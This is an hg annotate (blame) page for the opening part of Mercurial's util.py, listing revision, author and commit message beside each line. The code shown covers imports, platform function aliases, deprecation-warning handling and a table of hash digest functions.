mercurial-scm/hg-stable: mercurial/util.py annotate

annotate mercurial/util.py @ 43117:8ff1ecfadcd1

cleanup: join string literals that are already on one line Thanks to Kyle for noticing this and for providing the regular expression to run on the codebase. This patch has been reviewed by the test suite and they approved of it. # skip-blame: fallout from mass reformatting Differential Revision: https://phab.mercurial-scm.org/D7028

author	Martin von Zweigbergk <martinvonz@google.com>
date	Tue, 08 Oct 2019 15:06:18 -0700
parents	d783f945a701
children	5be128f669d4 70d42e2ad9b4

rev	line source
17515 b5b38d21fe99 spelling: specific timeless@mozdev.org parents: 17237 diff changeset	1 # util.py - Mercurial utility functions and platform specific implementations
8226 8b2cd04a6e97 put license and copyright info into comment blocks Martin Geisler <mg@lazybytes.net> parents: 8225 diff changeset	2 #
8b2cd04a6e97 put license and copyright info into comment blocks Martin Geisler <mg@lazybytes.net> parents: 8225 diff changeset	3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
8b2cd04a6e97 put license and copyright info into comment blocks Martin Geisler <mg@lazybytes.net> parents: 8225 diff changeset	4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
8b2cd04a6e97 put license and copyright info into comment blocks Martin Geisler <mg@lazybytes.net> parents: 8225 diff changeset	5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
8b2cd04a6e97 put license and copyright info into comment blocks Martin Geisler <mg@lazybytes.net> parents: 8225 diff changeset	6 #
8b2cd04a6e97 put license and copyright info into comment blocks Martin Geisler <mg@lazybytes.net> parents: 8225 diff changeset	7 # This software may be used and distributed according to the terms of the
10263 25e572394f5c Update license to GPLv2+ Matt Mackall <mpm@selenic.com> parents: 9996 diff changeset	8 # GNU General Public License version 2 or any later version.
1082 ce96e316278a Update util.py docstrings, fix walk test mpm@selenic.com parents: 1081 diff changeset	9
17515 b5b38d21fe99 spelling: specific timeless@mozdev.org parents: 17237 diff changeset	10 """Mercurial utility functions and platform specific implementations.
1082 ce96e316278a Update util.py docstrings, fix walk test mpm@selenic.com parents: 1081 diff changeset	11
8227 0a9542703300 turn some comments back into module docstrings Martin Geisler <mg@lazybytes.net> parents: 8226 diff changeset	12 This contains helper routines that are independent of the SCM core and
0a9542703300 turn some comments back into module docstrings Martin Geisler <mg@lazybytes.net> parents: 8226 diff changeset	13 hide platform-specific details from the core.
1082 ce96e316278a Update util.py docstrings, fix walk test mpm@selenic.com parents: 1081 diff changeset	14 """
419 28511fc21073 [PATCH] file seperator handling for the other 'OS' mpm@selenic.com parents: diff changeset	15
34152 a8994d08e4a2 doctest: use print_function and convert bytes to unicode where needed Yuya Nishihara <yuya@tcha.org> parents: 34149 diff changeset	16 from __future__ import absolute_import, print_function
27358 ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	17
33814 bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	18 import abc
27358 ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	19 import collections
33446 fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	20 import contextlib
27358 ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	21 import errno
ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	22 import gc
ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	23 import hashlib
34554 6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	24 import itertools
34302 3bb2a9f25fe9 util: add an mmapread method Mark Thomas <mbthomas@fb.com> parents: 34154 diff changeset	25 import mmap
27358 ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	26 import os
30428 1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	27 import platform as pyplatform
21907 7e5dfa00e3c2 util: rename 're' to 'remod' Siddharth Agarwal <sid0@fb.com> parents: 21857 diff changeset	28 import re as remod
27358 ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	29 import shutil
ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	30 import socket
30428 1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	31 import stat
27358 ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	32 import sys
ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	33 import time
ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	34 import traceback
31950 cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	35 import warnings
3769 96095d9ff1f8 Add encoding detection Matt Mackall <mpm@selenic.com> parents: 3767 diff changeset	36
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	37 from .thirdparty import attr
43087 66f2cc210a29 py3: manually import pycompat.setattr where it is needed Gregory Szorc <gregory.szorc@gmail.com> parents: 43085 diff changeset	38 from .pycompat import (
43090 1f339b503a40 py3: manually import pycompat.delattr where it is needed Gregory Szorc <gregory.szorc@gmail.com> parents: 43089 diff changeset	39 delattr,
43089 c59eb1560c44 py3: manually import getattr where it is needed Gregory Szorc <gregory.szorc@gmail.com> parents: 43087 diff changeset	40 getattr,
43087 66f2cc210a29 py3: manually import pycompat.setattr where it is needed Gregory Szorc <gregory.szorc@gmail.com> parents: 43085 diff changeset	41 open,
66f2cc210a29 py3: manually import pycompat.setattr where it is needed Gregory Szorc <gregory.szorc@gmail.com> parents: 43085 diff changeset	42 setattr,
66f2cc210a29 py3: manually import pycompat.setattr where it is needed Gregory Szorc <gregory.szorc@gmail.com> parents: 43085 diff changeset	43 )
39287 e00123f63410 util: make timedcm require the label (API) Augie Fackler <augie@google.com> parents: 39286 diff changeset	44 from hgdemandimport import tracing
27358 ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	45 from . import (
ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	46 encoding,
ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	47 error,
ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	48 i18n,
35582 72b91f905065 py3: use node.hex(h.digest()) instead of h.hexdigest() Pulkit Goyal <7895pulkit@gmail.com> parents: 35517 diff changeset	49 node as nodemod,
32406 a9c71d578a1c osutil: switch to policy importer Yuya Nishihara <yuya@tcha.org> parents: 32346 diff changeset	50 policy,
28818 6041fb8f2da8 pycompat: add empty and queue to handle py3 divergence timeless <timeless@mozdev.org> parents: 28497 diff changeset	51 pycompat,
34468 192f7b126ed2 urllibcompat: move some adapters from pycompat to urllibcompat Augie Fackler <augie@google.com> parents: 34436 diff changeset	52 urllibcompat,
27358 ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	53 )
37086 f99d64e8a4e4 stringutil: move generic string helpers to new module Yuya Nishihara <yuya@tcha.org> parents: 37085 diff changeset	54 from .utils import (
42041 3e47d1ec9da5 util: extract compression code in `mercurial.utils.compression` Pierre-Yves David <pierre-yves.david@octobus.net> parents: 41839 diff changeset	55 compression,
37121 5be286db5fb5 procutil: move process/executable management functions to new module Yuya Nishihara <yuya@tcha.org> parents: 37120 diff changeset	56 procutil,
37086 f99d64e8a4e4 stringutil: move generic string helpers to new module Yuya Nishihara <yuya@tcha.org> parents: 37085 diff changeset	57 stringutil,
f99d64e8a4e4 stringutil: move generic string helpers to new module Yuya Nishihara <yuya@tcha.org> parents: 37085 diff changeset	58 )
3769 96095d9ff1f8 Add encoding detection Matt Mackall <mpm@selenic.com> parents: 3767 diff changeset	59
42782 e94c8f584ee2 py3: do not convert rust module/attribute names to bytes Yuya Nishihara <yuya@tcha.org> parents: 42641 diff changeset	60 rustdirs = policy.importrust(r'dirstate', r'Dirs')
42545 2db96bf84a8f rust-dirstate: call new "dirs" rust implementation from Python Rapha?l Gom?s <rgomes@octobus.net> parents: 42365 diff changeset	61
32407 008d37c4d783 base85: switch to policy importer Yuya Nishihara <yuya@tcha.org> parents: 32406 diff changeset	62 base85 = policy.importmod(r'base85')
32406 a9c71d578a1c osutil: switch to policy importer Yuya Nishihara <yuya@tcha.org> parents: 32346 diff changeset	63 osutil = policy.importmod(r'osutil')
32411 df448de7cf3b parsers: switch to policy importer Yuya Nishihara <yuya@tcha.org> parents: 32407 diff changeset	64 parsers = policy.importmod(r'parsers')
32406 a9c71d578a1c osutil: switch to policy importer Yuya Nishihara <yuya@tcha.org> parents: 32346 diff changeset	65
32245 4462a981e8df base85: proxy through util module Yuya Nishihara <yuya@tcha.org> parents: 32203 diff changeset	66 b85decode = base85.b85decode
4462a981e8df base85: proxy through util module Yuya Nishihara <yuya@tcha.org> parents: 32203 diff changeset	67 b85encode = base85.b85encode
4462a981e8df base85: proxy through util module Yuya Nishihara <yuya@tcha.org> parents: 32203 diff changeset	68
31934 12aca6770046 util: make cookielib module available Gregory Szorc <gregory.szorc@gmail.com> parents: 31878 diff changeset	69 cookielib = pycompat.cookielib
30480 00c9ac4ce816 util: rewrite pycompat imports to make pyflakes always happy Yuya Nishihara <yuya@tcha.org> parents: 30451 diff changeset	70 httplib = pycompat.httplib
00c9ac4ce816 util: rewrite pycompat imports to make pyflakes always happy Yuya Nishihara <yuya@tcha.org> parents: 30451 diff changeset	71 pickle = pycompat.pickle
37102 6ca5f825a0ca util: make safehasattr() a pycompat function Yuya Nishihara <yuya@tcha.org> parents: 37101 diff changeset	72 safehasattr = pycompat.safehasattr
30480 00c9ac4ce816 util: rewrite pycompat imports to make pyflakes always happy Yuya Nishihara <yuya@tcha.org> parents: 30451 diff changeset	73 socketserver = pycompat.socketserver
36964 644a02f6b34f util: prefer "bytesio" to "stringio" Gregory Szorc <gregory.szorc@gmail.com> parents: 36952 diff changeset	74 bytesio = pycompat.bytesio
644a02f6b34f util: prefer "bytesio" to "stringio" Gregory Szorc <gregory.szorc@gmail.com> parents: 36952 diff changeset	75 # TODO deprecate stringio name, as it is a lie on Python 3.
644a02f6b34f util: prefer "bytesio" to "stringio" Gregory Szorc <gregory.szorc@gmail.com> parents: 36952 diff changeset	76 stringio = bytesio
30480 00c9ac4ce816 util: rewrite pycompat imports to make pyflakes always happy Yuya Nishihara <yuya@tcha.org> parents: 30451 diff changeset	77 xmlrpclib = pycompat.xmlrpclib
28883 032c4c2f802a pycompat: switch to util.urlreq/util.urlerr for py3 compat timeless <timeless@mozdev.org> parents: 28882 diff changeset	78
34468 192f7b126ed2 urllibcompat: move some adapters from pycompat to urllibcompat Augie Fackler <augie@google.com> parents: 34436 diff changeset	79 httpserver = urllibcompat.httpserver
192f7b126ed2 urllibcompat: move some adapters from pycompat to urllibcompat Augie Fackler <augie@google.com> parents: 34436 diff changeset	80 urlerr = urllibcompat.urlerr
192f7b126ed2 urllibcompat: move some adapters from pycompat to urllibcompat Augie Fackler <augie@google.com> parents: 34436 diff changeset	81 urlreq = urllibcompat.urlreq
192f7b126ed2 urllibcompat: move some adapters from pycompat to urllibcompat Augie Fackler <augie@google.com> parents: 34436 diff changeset	82
32131 377c74ef008d win32mbcs: avoid unintentional failure at colorization FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 31952 diff changeset	83 # workaround for win32mbcs
377c74ef008d win32mbcs: avoid unintentional failure at colorization FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 31952 diff changeset	84 _filenamebytestr = pycompat.bytestr
377c74ef008d win32mbcs: avoid unintentional failure at colorization FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 31952 diff changeset	85
34645 75979c8d4572 codemod: use pycompat.iswindows Jun Wu <quark@fb.com> parents: 34554 diff changeset	86 if pycompat.iswindows:
27358 ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	87 from . import windows as platform
14912 ec46a7da9f2c util: move windows and posix wildcard imports to begin of file Adrian Buehlmann <adrian@cadifra.com> parents: 14911 diff changeset	88 else:
27358 ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	89 from . import posix as platform
14926 4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	90
27358 ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	91 _ = i18n._
14926 4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	92
29530 3239e2fdd2e2 chgserver: extract utility to bind unix domain socket to long path Yuya Nishihara <yuya@tcha.org> parents: 29455 diff changeset	93 bindunixsocket = platform.bindunixsocket
14927 2aa3e07b2f07 posix, windows: introduce cachestat Idan Kamara <idankk86@gmail.com> parents: 14926 diff changeset	94 cachestat = platform.cachestat
14926 4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	95 checkexec = platform.checkexec
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	96 checklink = platform.checklink
15011 5e44e4b3a0a3 util: move copymode into posix.py and windows.py Adrian Buehlmann <adrian@cadifra.com> parents: 15010 diff changeset	97 copymode = platform.copymode
14926 4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	98 expandglobs = platform.expandglobs
35517 c4caf530b1c7 util: add a function to show the mount point of the filesystem Matt Harbison <matt_harbison@yahoo.com> parents: 35515 diff changeset	99 getfsmountpoint = platform.getfsmountpoint
35513 beede158ea8a util: move getfstype() to the platform modules Matt Harbison <matt_harbison@yahoo.com> parents: 35464 diff changeset	100 getfstype = platform.getfstype
14926 4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	101 groupmembers = platform.groupmembers
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	102 groupname = platform.groupname
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	103 isexec = platform.isexec
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	104 isowner = platform.isowner
32248 d74b0cff94a9 osutil: proxy through util (and platform) modules (API) Yuya Nishihara <yuya@tcha.org> parents: 32245 diff changeset	105 listdir = osutil.listdir
14926 4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	106 localpath = platform.localpath
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	107 lookupreg = platform.lookupreg
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	108 makedir = platform.makedir
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	109 nlinks = platform.nlinks
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	110 normpath = platform.normpath
15488 6eff984d8e76 dirstate: fix case-folding identity for traditional Unix Matt Mackall <mpm@selenic.com> parents: 15392 diff changeset	111 normcase = platform.normcase
24605 98744856b7d3 util: add normcase spec and fallback Siddharth Agarwal <sid0@fb.com> parents: 24439 diff changeset	112 normcasespec = platform.normcasespec
98744856b7d3 util: add normcase spec and fallback Siddharth Agarwal <sid0@fb.com> parents: 24439 diff changeset	113 normcasefallback = platform.normcasefallback
14926 4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	114 openhardlinks = platform.openhardlinks
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	115 oslink = platform.oslink
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	116 parsepatchoutput = platform.parsepatchoutput
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	117 pconvert = platform.pconvert
25420 c2ec81891502 util: add a simple poll utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25406 diff changeset	118 poll = platform.poll
14926 4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	119 posixfile = platform.posixfile
39909 5fe0b880200e py3: convert os.readlink() path to native strings on Windows Matt Harbison <matt_harbison@yahoo.com> parents: 39793 diff changeset	120 readlink = platform.readlink
14926 4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	121 rename = platform.rename
24692 144883a8d0d4 util: add removedirs as platform depending function FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 24635 diff changeset	122 removedirs = platform.removedirs
14926 4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	123 samedevice = platform.samedevice
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	124 samefile = platform.samefile
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	125 samestat = platform.samestat
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	126 setflags = platform.setflags
17560 9ee25d7b1aed util: implement a faster os.path.split for posix systems Bryan O'Sullivan <bryano@fb.com> parents: 17537 diff changeset	127 split = platform.split
18026 ddc0323db78b osutil: write a C implementation of statfiles for unix Bryan O'Sullivan <bryano@fb.com> parents: 18013 diff changeset	128 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
18868 cafa447a7d3b util: add functions to check symlink/exec bits Bryan O'Sullivan <bryano@fb.com> parents: 18775 diff changeset	129 statisexec = platform.statisexec
cafa447a7d3b util: add functions to check symlink/exec bits Bryan O'Sullivan <bryano@fb.com> parents: 18775 diff changeset	130 statislink = platform.statislink
14926 4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	131 umask = platform.umask
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	132 unlink = platform.unlink
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	133 username = platform.username
14912 ec46a7da9f2c util: move windows and posix wildcard imports to begin of file Adrian Buehlmann <adrian@cadifra.com> parents: 14911 diff changeset	134
42041 3e47d1ec9da5 util: extract compression code in `mercurial.utils.compression` Pierre-Yves David <pierre-yves.david@octobus.net> parents: 41839 diff changeset	135 # small compat layer
3e47d1ec9da5 util: extract compression code in `mercurial.utils.compression` Pierre-Yves David <pierre-yves.david@octobus.net> parents: 41839 diff changeset	136 compengines = compression.compengines
3e47d1ec9da5 util: extract compression code in `mercurial.utils.compression` Pierre-Yves David <pierre-yves.david@octobus.net> parents: 41839 diff changeset	137 SERVERROLE = compression.SERVERROLE
3e47d1ec9da5 util: extract compression code in `mercurial.utils.compression` Pierre-Yves David <pierre-yves.david@octobus.net> parents: 41839 diff changeset	138 CLIENTROLE = compression.CLIENTROLE
3e47d1ec9da5 util: extract compression code in `mercurial.utils.compression` Pierre-Yves David <pierre-yves.david@octobus.net> parents: 41839 diff changeset	139
32248 d74b0cff94a9 osutil: proxy through util (and platform) modules (API) Yuya Nishihara <yuya@tcha.org> parents: 32245 diff changeset	140 try:
d74b0cff94a9 osutil: proxy through util (and platform) modules (API) Yuya Nishihara <yuya@tcha.org> parents: 32245 diff changeset	141 recvfds = osutil.recvfds
d74b0cff94a9 osutil: proxy through util (and platform) modules (API) Yuya Nishihara <yuya@tcha.org> parents: 32245 diff changeset	142 except AttributeError:
d74b0cff94a9 osutil: proxy through util (and platform) modules (API) Yuya Nishihara <yuya@tcha.org> parents: 32245 diff changeset	143 pass
d74b0cff94a9 osutil: proxy through util (and platform) modules (API) Yuya Nishihara <yuya@tcha.org> parents: 32245 diff changeset	144
6470 ac0bcd951c2c python 2.6 compatibility: compatibility wrappers for hash functions Dirkjan Ochtman <dirkjan@ochtman.nl> parents: 6339 diff changeset	145 # Python compatibility
3769 96095d9ff1f8 Add encoding detection Matt Mackall <mpm@selenic.com> parents: 3767 diff changeset	146
15656 4f5a78fa4917 util: clean up function ordering Matt Mackall <mpm@selenic.com> parents: 15611 diff changeset	147 _notset = object()
4f5a78fa4917 util: clean up function ordering Matt Mackall <mpm@selenic.com> parents: 15611 diff changeset	148
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	149
30745 c1b7b2285522 revlog: flag processor Remi Chaintron <remi@fb.com> parents: 30736 diff changeset	150 def bitsfrom(container):
c1b7b2285522 revlog: flag processor Remi Chaintron <remi@fb.com> parents: 30736 diff changeset	151 bits = 0
c1b7b2285522 revlog: flag processor Remi Chaintron <remi@fb.com> parents: 30736 diff changeset	152 for bit in container:
c1b7b2285522 revlog: flag processor Remi Chaintron <remi@fb.com> parents: 30736 diff changeset	153 bits \|= bit
c1b7b2285522 revlog: flag processor Remi Chaintron <remi@fb.com> parents: 30736 diff changeset	154 return bits
c1b7b2285522 revlog: flag processor Remi Chaintron <remi@fb.com> parents: 30736 diff changeset	155
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	156
31950 cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	157 # python 2.6 still have deprecation warning enabled by default. We do not want
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	158 # to display anything to standard user so detect if we are running test and
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	159 # only use python deprecation warning in this case.
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	160 _dowarn = bool(encoding.environ.get(b'HGEMITWARNINGS'))
31950 cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	161 if _dowarn:
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	162 # explicitly unfilter our warning for python 2.7
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	163 #
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	164 # The option of setting PYTHONWARNINGS in the test runner was investigated.
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	165 # However, module name set through PYTHONWARNINGS was exactly matched, so
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	166 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	167 # makes the whole PYTHONWARNINGS thing useless for our usecase.
31952 a34b5e7c6683 util: pass sysstrs to warnings.filterwarnings Augie Fackler <augie@google.com> parents: 31950 diff changeset	168 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
a34b5e7c6683 util: pass sysstrs to warnings.filterwarnings Augie Fackler <augie@google.com> parents: 31950 diff changeset	169 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
a34b5e7c6683 util: pass sysstrs to warnings.filterwarnings Augie Fackler <augie@google.com> parents: 31950 diff changeset	170 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
36617 281f66777ff0 py3: silence "bad escape" warning emitted by re.sub() Yuya Nishihara <yuya@tcha.org> parents: 36614 diff changeset	171 if _dowarn and pycompat.ispy3:
281f66777ff0 py3: silence "bad escape" warning emitted by re.sub() Yuya Nishihara <yuya@tcha.org> parents: 36614 diff changeset	172 # silence warning emitted by passing user string to re.sub()
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	173 warnings.filterwarnings(
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	174 r'ignore', r'bad escape', DeprecationWarning, r'mercurial'
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	175 )
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	176 warnings.filterwarnings(
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	177 r'ignore', r'invalid escape sequence', DeprecationWarning, r'mercurial'
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	178 )
37455 9ecb7c471cfb py3: silence warning about deprecation of imp module Yuya Nishihara <yuya@tcha.org> parents: 37382 diff changeset	179 # TODO: reinvent imp.is_frozen()
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	180 warnings.filterwarnings(
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	181 r'ignore',
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	182 r'the imp module is deprecated',
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	183 DeprecationWarning,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	184 r'mercurial',
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	185 )
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	186
31950 cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	187
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	188 def nouideprecwarn(msg, version, stacklevel=1):
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	189 """Issue an python native deprecation warning
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	190
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	191 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	192 """
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	193 if _dowarn:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	194 msg += (
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	195 b"\n(compatibility will be dropped after Mercurial-%s,"
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	196 b" update your code.)"
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	197 ) % version
36166 02ed94dd9fd6 util: call warnings.warn() with a sysstr in nouideprecwarn Augie Fackler <augie@google.com> parents: 36076 diff changeset	198 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
31950 cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	199
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	200
22962 4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	201 DIGESTS = {
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	202 b'md5': hashlib.md5,
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	203 b'sha1': hashlib.sha1,
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	204 b'sha512': hashlib.sha512,
22962 4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	205 }
